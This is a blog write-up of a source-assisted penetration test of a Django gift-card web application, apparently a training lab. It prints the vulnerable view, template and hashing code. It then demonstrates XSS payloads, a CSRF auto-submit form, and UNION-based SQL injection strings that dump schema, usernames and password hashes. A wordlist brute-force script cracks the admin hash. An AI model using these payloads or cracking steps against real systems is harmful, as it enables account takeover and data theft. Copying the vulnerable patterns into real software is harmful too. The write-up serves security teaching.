trustie_rity
14 min readMar 31, 2023

PENETRATION TESTING : DAY X

Hi there! My name is John, and today I will be sharing a detailed report on my penetration testing of a web application for Company X. Just to be clear, I am posting this write-up with their consent. Penetration testing typically involves a cyber security specialist attempting to bypass the security measures implemented on the target. In this process, testers usually identify bugs or vulnerabilities in the system.Most bugs are as a result of :

  • Developer mistakes
  • Use of outdated technology(frameworks , plugins etc)
  • Zero days (Unknown errors) and many other causes

For this particular penetration test, I was fortunate to have access to the source code of the web application. As a result, this was not a black box test. Firstly, I conducted a source code analysis.

SETTING UP THE ENVIRONMENT
We are provided with a zipped file that contains the source code of the web application.

➜  Work unzip -l work.zip
Archive: work.zip
Length Date Time Name
--------- ---------- ----- ----
0 2023-03-09 15:14 work/GiftcardSite/
605 2023-03-09 15:15 work/GiftcardSite/Commands.txt
17208 2023-03-09 00:53 work/GiftcardSite/giftcardreader
0 2023-03-09 00:53 work/GiftcardSite/GiftcardSite/
0 2023-03-09 00:53 work/GiftcardSite/GiftcardSite/__init__.py
417 2023-03-09 00:53 work/GiftcardSite/GiftcardSite/asgi.py
3698 2023-03-09 00:53 work/GiftcardSite/GiftcardSite/settings.py
1228 2023-03-09 00:53 work/GiftcardSite/GiftcardSite/urls.py
417 2023-03-09 00:53 work/GiftcardSite/GiftcardSite/wsgi.py
9590 2023-03-09 00:53 work/GiftcardSite/Instructions.md
137 2023-03-09 00:53 work/GiftcardSite/import_dbs.sh
0 2023-03-09 00:53 work/GiftcardSite/LegacySite/
0 2023-03-09 00:53 work/GiftcardSite/LegacySite/__init__.py
66 2023-03-09 00:53 work/GiftcardSite/LegacySite/admin.py
100 2023-03-09 00:53 work/GiftcardSite/LegacySite/apps.py
2057 2023-03-09 00:53 work/GiftcardSite/LegacySite/extras.py
17208 2023-03-09 00:53 work/GiftcardSite/LegacySite/giftcardreader
1711 2023-03-09 00:53 work/GiftcardSite/LegacySite/models.py
63 2023-03-09 00:53 work/GiftcardSite/LegacySite/tests.py
1502 2023-03-09 00:53 work/GiftcardSite/LegacySite/urls.py
9984 2023-03-09 00:53 work/GiftcardSite/LegacySite/views.py
653 2023-03-09 00:53 work/GiftcardSite/manage.py
0 2023-03-09 00:53 work/GiftcardSite/templates/
14701 2023-03-09 00:53 work/GiftcardSite/templates/about.html
13463 2023-03-09 00:53 work/GiftcardSite/templates/blog.html
6098 2023-03-09 00:53 work/GiftcardSite/templates/cards.html
15200 2023-03-09 00:53 work/GiftcardSite/templates/contact.html
7749 2023-03-09 00:53 work/GiftcardSite/templates/gift.html
5451 2023-03-09 00:53 work/GiftcardSite/templates/index.html
7608 2023-03-09 00:53 work/GiftcardSite/templates/item-single.html
12798 2023-03-09 00:53 work/GiftcardSite/templates/services.html
19294 2023-03-09 00:53 work/GiftcardSite/templates/single.html
4205 2023-03-09 00:53 work/GiftcardSite/templates/testimonials.html
57 2023-03-09 00:53 work/GiftcardSite/templates/title.html
6362 2023-03-16 13:25 work/GiftcardSite/templates/use-card.html
136 2023-03-09 00:53 work/GiftcardSite/users.csv
656 2023-03-09 00:53 work/README.MD
--------- -------
12187676 311 files

Based on the file listing, I determined that the web application was a Python 3 site built using the Django framework. This was based on my past experience working with Django and how it organizes its files. For example, if I saw a http directory with a Controllers directory inside, that would likely indicate a PHP site built with the Laravel framework.

To make the report shorter and cleaner, I cleaned up lines of code in the files. The following commands show how I extracted the files from the archive and set up my environment using the instructions provided in the Instructions.md file.

➜  GiftcardSite git:(master) ✗ python3 manage.py makemigrations LegacySite
➜ GiftcardSite git:(master) ✗ python3 manage.py makemigrations
➜ GiftcardSite git:(master) ✗ python manage.py migrate
➜ GiftcardSite git:(master) ✗ sh import_dbs.sh
➜ GiftcardSite git:(master) ✗ python3 manage.py runserver

This will start the server and now we can visit the site using this url : http://127.0.0.1:8000/

The web application had several basic functionalities, including:

  • A way to gift a friend ( give a gift card to another user of the site)
  • Login and Register mechanism
  • Buying a gift card
  • Uploading your own gift card
  • Logout

SOURCE CODE ANALYSIS

During my source code analysis, I was able to identify vulnerabilities without relying solely on automated tools. I started my review with the views.pyfile since it plays a crucial role in implementing the MVC architecture of the Django framework.

import json
from django.shortcuts import render, redirect
from django.http import HttpResponse
from LegacySite.models import User, Product, Card
from . import extras
from django.views.decorators.csrf import csrf_protect as csrf_protect
from django.contrib.auth import login, authenticate, logout

# Log out of the service.
def logout_view(request):
if request.user.is_authenticated:
logout(request)
return redirect("index.html")


def buy_card_view(request, prod_num=0):
if request.method == 'GET':
context = {"prod_num": prod_num}
director = request.GET.get('director', None)
if director is not None:
# Interesting (XSS?): Wait, what is this used for? Need to check the template.
context['director'] = director
else:
try:
prod = Product.objects.get(product_id=1)
except:
return HttpResponse("ERROR: 404 Not Found.")
return render(request, "item-single.html", context)
elif request.method == 'POST':
if prod_num == 0:
prod_num = 1
num_cards = len(Card.objects.filter(user=request.user))
# Generate a card here, based on amount sent. Need binary for this.
card_file_path = f"/tmp/addedcard_{request.user.id}_{num_cards + 1}.gftcrd'"
card_file_name = "newcard.gftcrd"
# Use binary to write card here.
# Create card record with data.
# For now, until we get binary, write random data.
prod = Product.objects.get(product_id=prod_num)
amount = request.POST.get('amount', None)
if amount is None or amount == '':
amount = prod.recommended_price
extras.write_card_data(card_file_path, prod, amount, request.user)
card_file = open(card_file_path, 'rb')
card = Card(data=card_file.read(), product=prod, amount=amount, fp=card_file_path, user=request.user)
card.save()
card_file.seek(0)
response = HttpResponse(card_file, content_type="application/octet-stream")
response['Content-Disposition'] = f"attachment; filename={card_file_name}"
return response
# return render(request, "item-single.html", {})
else:
return redirect("/buy/1")


# Interesting (csrf?): What stops an attacker from making me buy a card for him?
def gift_card_view(request, prod_num=0):
context = {"prod_num": prod_num}
if request.method == "GET":
context['user'] = None
director = request.GET.get('director', None)
if director is not None:
context['director'] = director
if prod_num != 0:
try:
prod = Product.objects.get(product_id=prod_num)
except:
return HttpResponse("ERROR: 404 Not Found.")
else:
try:
prod = Product.objects.get(product_id=1)
except:
return HttpResponse("ERROR: 404 Not Found.")
context['prod_name'] = prod.product_name
context['prod_path'] = prod.product_image_path
context['price'] = prod.recommended_price
context['description'] = prod.description
return render(request, "gift.html", context)
elif request.method == "POST":
if prod_num == 0:
prod_num = 1
user = request.POST.get('username', None)
if user is None:
return HttpResponse("ERROR 404")
try:
user_account = User.objects.get(username=user)
except:
user_account = None
if user_account is None:
context['user'] = None
return render(request, f"gift.html", context)
amount = request.POST.get('amount', None)
if amount is None or amount == '':
amount = prod.recommended_price
prod = Product.objects.get(product_id=prod_num)
context['user'] = user_account
num_cards = len(Card.objects.filter(user=user_account))
card_file_path = f"/tmp/addedcard_{user_account.id}_{num_cards + 1}.gftcrd'"
extras.write_card_data(card_file_path, prod, amount, user_account)
card_file = open(card_file_path, 'rb')
card = Card(data=card_file.read(), product=prod, amount=request.POST.get('amount', prod.recommended_price),
fp=card_file_path, user=user_account)
card.save()
card_file.close()
return render(request, f"gift.html", context)


def use_card_view(request):
context = {'card_found': None}
if request.method == 'GET':
if not request.user.is_authenticated:
return redirect("login.html")
try:
user_cards = Card.objects.filter(user=request.user).filter(used=False)
except ObjectDoesNotExist:
user_cards = None
context['card_list'] = user_cards
context['card'] = None
return render(request, 'use-card.html', context)
elif request.method == "POST" and request.POST.get('card_supplied', False):
# Post with specific card, use this card.
context['card_list'] = None
# Need to write this to parse card type.
card_file_data = request.FILES['card_data']
card_fname = request.POST.get('card_fname', None)
if card_fname is None or card_fname == '':
card_file_path = f'/tmp/newcard_{request.user.id}_parser.gftcrd'
else:
card_file_path = f'/tmp/{card_fname}_{request.user.id}_parser.gftcrd'
card_data = extras.parse_card_data(card_file_data.read(), card_file_path)
# check if we know about card.
# Interesting ( SQLI INJECTION) : Where is this data coming from? RAW SQL usage with unkown
# Interesting: data seems dangerous.
signature = json.loads(card_data)['records'][0]['signature']
# signatures should be pretty unique, right?
card_query = Card.objects.raw('select id from LegacySite_card where data = \'%s\'' % signature)
user_cards = Card.objects.raw(
'select id, count(*) as count from LegacySite_card where LegacySite_card.user_id = %s' % str(
request.user.id))
card_query_string = ""
for thing in card_query:
# print cards as strings
card_query_string += str(thing) + '\n'
if len(card_query) == 0:
# card not known, add it.
if card_fname is not None:
card_file_path = f'/tmp/{card_fname}_{request.user.id}_{user_cards[0].count + 1}.gftcrd'
else:
card_file_path = f'/tmp/newcard_{request.user.id}_{user_cards[0].count + 1}.gftcrd'
with open(card_file_path, 'w') as fp:
fp.write(card_data)

card = Card(data=card_data, fp=card_file_path, user=request.user, used=True)
else:
context['card_found'] = card_query_string
try:
card = Card.objects.get(data=bytes(card_data, 'utf-8'))
card.used = True
except ObjectDoesNotExist:
card = None
context['card'] = card
return render(request, "use-card.html", context)
elif request.method == "POST":
card = Card.objects.get(id=request.POST.get('card_id', None))
card.used = True
card.save()
context['card'] = card
try:
user_cards = Card.objects.filter(user=request.user).filter(used=False)
except ObjectDoesNotExist:
user_cards = None
context['card_list'] = user_cards
return render(request, "use-card.html", context)
return HttpResponse("Error 404: Internal Server Error")

I documented my findings by commenting on the potential vulnerabilities within the source code. These vulnerabilities included:

  • XSS (cross-site scripting)
  • CSRF (cross-site request forgery)
  • SQLI Injection
  • Password brute-force attack(which I identified in another file)

XSS

The first vulnerability I found was a potential XSS vector in the ‘director’ variable. To confirm my suspicions, I examined how the variable was rendered on the browser. To do this, I followed the urls.py file, which looked like this:

from django.urls import path
# i have cleaned up the code to keep the blog shorter
from . import views

urlpatterns = [
path('buy/', views.buy_card_view, name="Buy Gift Card"),
path('buy/<int:prod_num>', views.buy_card_view, name="Buy Gift Card"),
path('buy.html', views.buy_card_view, name="Buy Gift Card"),
path('gift', views.gift_card_view, name="Gift a Card"),
path('gift/', views.gift_card_view, name="Gift a Card"),
path('gift/<int:prod_num>', views.gift_card_view, name="Gift a Card"),
path('gift.html', views.gift_card_view, name="Gift a Card"),
path('use.html', views.use_card_view, name="Use a card"),
path('use/', views.use_card_view, name="Use a card"),

]

Based on the URLs listed in the urls.py file, we can see that we need to target the gift_card_viewfunction. To exploit the potential XSS vulnerability, we can add a GET parameter called director with our vulnerable payload.
The template responsible for rendering this on the user side is called item-single.html and looks like this:

<div class="container">
<div class="row align-items-center justify-content-center">
<div class="col-md-7 mx-auto text-center" data-aos="fade-up">
<h1>{{ prod_name }}</h1>
{% if director is not None %}
<!-- Interesting : I don't think the safe tag does what they thought
it does... -->
<p>Endorsed by {{director|safe}}!</p>
{% else %}
<p> For all your card buying needs! </p>
{% endif %}
</div>
</div>

While there is some basic filtering in place, I don’t trust the use of {{ director|safe}}. In Jinja2, the {{ ... }} syntax is used to output the value of an expression inside the template. The safe filter is used to mark the value as safe HTML content that should not be escaped. The safe filter ensures that the content is rendered without any escaping or modifications.This means the code trusts that we will behave and give it safe code.To test the potential XSS vulnerability, I tried two basic payloads:

http://127.0.0.1:8000/buy/7?director=<script>alert(1);</script>
http://127.0.0.1:8000/buy/7?director=<script>document.location="https://www.google.com/"</script>

Funny enough this works, there not even the slightest filtering ! A win for a us , right?

You can use the vulnerability to come up with a more efficient way of doing what you want to the user, Like stealing all his cookies. The hard part about this is providing a poc ,for instance how this XSS vulnerability can be used to do something malicious other than popping up an alert box.

  • I guess if we didn’t have the source code we would use a tool called arjun to find the director parameter.

CSRF

“Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other” from portswigger site. In a CSRF attack, an attacker creates a malicious website that contains a hidden form or script that makes a request to a target website (such as a banking website) on behalf of the victim, who is logged into that site in the same browser. If the victim visits the malicious site, the hidden form or script can make unauthorized requests to the target site, potentially allowing the attacker to steal information or perform actions as the victim. A CSRF attack may involve sending cookies from the target site to the malicious site, allowing the attacker to impersonate the victim’s session on the target site. However, the attacker does not typically execute codeon the target site directly, but rather tricks the victim’s browser into making unauthorized requests.

In this scenario, I attempted to send a gift card to a friend and intercepted the request using Burpsuite. By utilizing Burpsuite Pro’s CSRF POC feature, I was able to create a script that enables gifting a user without their consent.

<html>
<!-- change the amount value to avoid integrity errors check-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8000/gift/0" method="POST">
<input type="hidden" name="amount" value="121212121212" />
<input type="hidden" name="username" value="admin" />
<input type="submit" value="Click me for fun!" />
</form>
</body>
</html>

SQLI INJECTION

This one is a tricky one , so the application has an upload functionality that allows us to upload a gift card. If you specify a file to upload then it will read the input from the file , it then tries to get signature and query it as shown in the views.py file:

elif request.method == "POST" and request.POST.get('card_supplied', False):
# Post with specific card, use this card.
context['card_list'] = None
# Need to write this to parse card type.
card_file_data = request.FILES['card_data']
card_fname = request.POST.get('card_fname', None)
if card_fname is None or card_fname == '':
card_file_path = f'/tmp/newcard_{request.user.id}_parser.gftcrd'
else:
card_file_path = f'/tmp/{card_fname}_{request.user.id}_parser.gftcrd'
card_data = extras.parse_card_data(card_file_data.read(), card_file_path)
# check if we know about card.
# Interesting : Where is this data coming from? RAW SQL usage with unkown
# Interesting : data seems dangerous.
signature = json.loads(card_data)['records'][0]['signature']
# signatures should be pretty unique, right?
card_query = Card.objects.raw('select id from LegacySite_card where data = \'%s\'' % signature)
user_cards = Card.objects.raw(
'select id, count(*) as count from LegacySite_card where LegacySite_card.user_id = %s' % str(
request.user.id))
card_query_string = ""
for thing in card_query:
# print cards as strings
card_query_string += str(thing) + '\n'
if len(card_query) == 0:
# card not known, add it.
if card_fname is not None:
card_file_path = f'/tmp/{card_fname}_{request.user.id}_{user_cards[0].count + 1}.gftcrd'
else:
card_file_path = f'/tmp/newcard_{request.user.id}_{user_cards[0].count + 1}.gftcrd'
with open(card_file_path, 'w') as fp:
fp.write(card_data)

card = Card(data=card_data, fp=card_file_path, user=request.user, used=True)
else:
context['card_found'] = card_query_string
try:
card = Card.objects.get(data=bytes(card_data, 'utf-8'))
card.used = True
except ObjectDoesNotExist:
card = None
context['card'] = card
return render(request, "use-card.html", context)

If you don’t select a file to read from then it will first create its own file in the /tmp directory and the write some json data there, the data looks like this:

{"merchant_id": "NYU Apparel Card", "customer_id": "trustie", "total_value": "2323", "records": [{"record_type": "amount_change", "amount_added": 2000, "signature": "signature"}]}

we can attack the signature value since its being passed to the sqlite query. We can use the following payloads , their output and small explanation is also included:

payload one is uploading a file with the following contents
{"merchant_id": "NYU Apparel Card", "customer_id": "trustie", "total_value": "2323", "records": [{"record_type": "amount_change", "amount_added": 2000, "signature": "12'or 1=1--"}]}
* we get all cards information( so its vulnerable ) : Found card with data: Card object (9) Card object (10) Card object (5) Card object (11) Card object (4) Card object (3) Card object (2) Card object (1) Card object (8) Card object (12) Card object (6) Card object (7)
{"merchant_id": "NYU Apparel Card", "customer_id": "trustie", "total_value": "2323", "records": [{"record_type": "amount_change", "amount_added": 2000, "signature": "12'union select sqlite_version()--"}]}
* we get the database version : Found card with data: Card object (3.40.1)
{"merchant_id": "NYU Apparel Card", "customer_id": "trustie", "total_value": "2323", "records": [{"record_type": "amount_change", "amount_added": 2000, "signature": "12'union select tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"}]}
* Found card with data: Card object (LegacySite_card) Card object (LegacySite_product) Card object (LegacySite_user) Card object (auth_group) Card object (auth_group_permissions) Card object (auth_permission) Card object (auth_user) Card object (auth_user_groups) Card object (auth_user_user_permissions) Card object (django_admin_log) Card object (django_content_type) Card object (django_migrations) Card object (django_session)
* we basically get some tables , so we can go ahead and get the password hash and name from the legacysite_user database
{"merchant_id": "NYU Apparel Card", "customer_id": "trustie", "total_value": "2323", "records": [{"record_type": "amount_change", "amount_added": 2000, "signature": "12'union select sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='LegacySite_user'--"}]}
* we get the structure of the target table : Found card with data: Card object (CREATE TABLE "LegacySite_user" ("id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "last_login" datetime NULL, "username" varchar(30) NOT NULL UNIQUE, "password" varchar(97) NOT NULL))
- id
- password
- username
- last_login
* we can now dump the contents of this table
* To make the query work since we are using UNION we query one column at a time
{"merchant_id": "NYU Apparel Card", "customer_id": "trustie", "total_value": "2323", "records": [{"record_type": "amount_change", "amount_added": 2000, "signature": "12'union select username from LegacySite_user--"}]}
* we get the following users : Found card with data: Card object ('order by 1 --) Card object (1'or 1=1--) Card object (<script>alert(1)</script>) Card object (admin) Card object (haha) Card object (haha2) Card object (trustie)
{"merchant_id": "NYU Apparel Card", "customer_id": "trustie", "total_value": "2323", "records": [{"record_type": "amount_change", "amount_added": 2000, "signature": "12'union select password from LegacySite_user--"}]}
* we get the following hashes : Found card with data: Card object (000000000000000000000000000078d2$18821d89de11ab18488fdc0a01f1ddf4d290e198b0f80cd4974fc031dc2615a3) Card object (000000000000000000000000000078d2$7a34c82ef4dd97da9b300a61d6af9a24e475f5348df1bd52961aedad4b766957) Card object (000000000000000000000000000078d2$db5e7a7768aa5977d5c96dade6c76bf6f07829688f29e00d93a34a737592c39f)

Getting the admin hash now leads us to the next session:

Password hash bruteforce

In order to write a password brute-force script we need to understand how the password ends up to be the hash value. To do so we need to read the extras.py file since we saw it being included in the views.pyfile using keyword import:

import json
from binascii import hexlify
from hashlib import sha256
from django.conf import settings
from os import urandom, system

SEED = settings.RANDOM_SEED
CARD_PARSER = 'giftcardreader'

# Interesting: Something seems fishy here. Why are we seeding here?
# looks like this function is never called right?
def generate_salt(length, debug=True):
import random
random.seed(SEED)
return hexlify(random.randint(0, 2 ** length - 1).to_bytes(length, byteorder='big'))


def hash_pword(salt, pword):
assert (salt is not None and pword is not None)
hasher = sha256()
hasher.update(salt)
hasher.update(pword.encode('utf-8'))
return hasher.hexdigest()


def parse_salt_and_password(user):
return user.password.split('$')


def check_password(user, password):
salt, password_record = parse_salt_and_password(user)
verify = hash_pword(salt.encode('utf-8'), password)
if verify == password_record:
return True
return False


def write_card_data(card_file_path, product, price, customer):
data_dict = {'merchant_id': product.product_name, 'customer_id': customer.username, 'total_value': price}
record = {'record_type': 'amount_change', "amount_added": 2000, 'signature': '[ insert crypto signature here ]'}
data_dict['records'] = [record, ]
with open(card_file_path, 'w') as card_file:
card_file.write(json.dumps(data_dict))


def parse_card_data(card_file_data, card_path_name):
try:
test_json = json.loads(card_file_data)
if type(card_file_data) != str:
card_file_data = card_file_data.decode()
return card_file_data
except (json.JSONDecodeError, UnicodeDecodeError):
pass
with open(card_path_name, 'wb') as card_file:
card_file.write(card_file_data)
# Interesting (SQLI?): Are you sure you want the user to control that input?
ret_val = system(f"./{CARD_PARSER} 2 {card_path_name} > tmp_file")
if ret_val != 0:
return card_file_data
with open("tmp_file", 'r') as tmp_file:
return tmp_file.read()

Upon examining the code, it appears that the generate_salt function is not utilized, as the salt value is obtained by splitting the hash value using the delimiter $. The salt is the first part of the split, while the password hash is the second part. Additionally, the code indicates that the seed value is set as SEED=settings.RANDOM_SEED, which suggests that we can obtain the seed value from the settings.py file.

# Random Seed for testing
RANDOM_SEED = base64.b64decode("2RUHYAyJWdDdXOicZfnTRw==")

We as the attacker using this salt we can generate a list of possible password hashes and compare them with the admin hash. Since the salt does not change or is known to us , we can perform a brute force attack to crack the password and gain access to the user’s account.

#!/usr/bin/python3
# Author : trustie_rity
import base64 as b64
from binascii import hexlify
from hashlib import sha256
from os import urandom

SEED = b64.b64decode("2RUHYAyJWdDdXOicZfnTRw==")

def generate_salt(length, debug=True):
import random
random.seed(SEED)
return hexlify(random.randint(0, 2 ** length - 1).to_bytes(length, byteorder='big'))


def hash_pword(salt, pword):
assert (salt is not None and pword is not None)
hasher = sha256()
hasher.update(salt)
#hasher.update(pword.encode())
hasher.update(pword)
return hasher.hexdigest()

def parse_salt_and_password(user):
return user.split('$')

def check_password(user, password):
salt, password_record = parse_salt_and_password("000000000000000000000000000078d2$18821d89de11ab18488fdc0a01f1ddf4d290e198b0f80cd4974fc031dc2615a3")
verify = hash_pword(salt.encode('utf-8'), password)
return verify

# 000000000000000000000000000078d2$18821d89de11ab18488fdc0a01f1ddf4d290e198b0f80cd4974fc031dc2615a3
## salt . $ . password

with open("/usr/share/wordlists/rockyou.txt" , "rb") as f:
for i in f.readlines():
i = i.strip(b"\n")
password = check_password("admin" , i)
if password == "18821d89de11ab18488fdc0a01f1ddf4d290e198b0f80cd4974fc031dc2615a3":
print(f"\nThe password is : { i.decode() } ")
break
else:
print(f"Trying to decode... { password }",end="\r" ,flush=True)

We get the admin password to be adminpassword.

Thank you for taking the time to read my blog. I hope you found the information I provided useful and informative. Remember to stay vigilant and keep yourself informed about the latest cyber security threats and best practices. As technology continues to advance, it’s important to stay ahead of the curve and protect ourselves from potential attacks. Stay safe out there!

Refs : https://portswigger.net/web-security/csrf
Refs: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/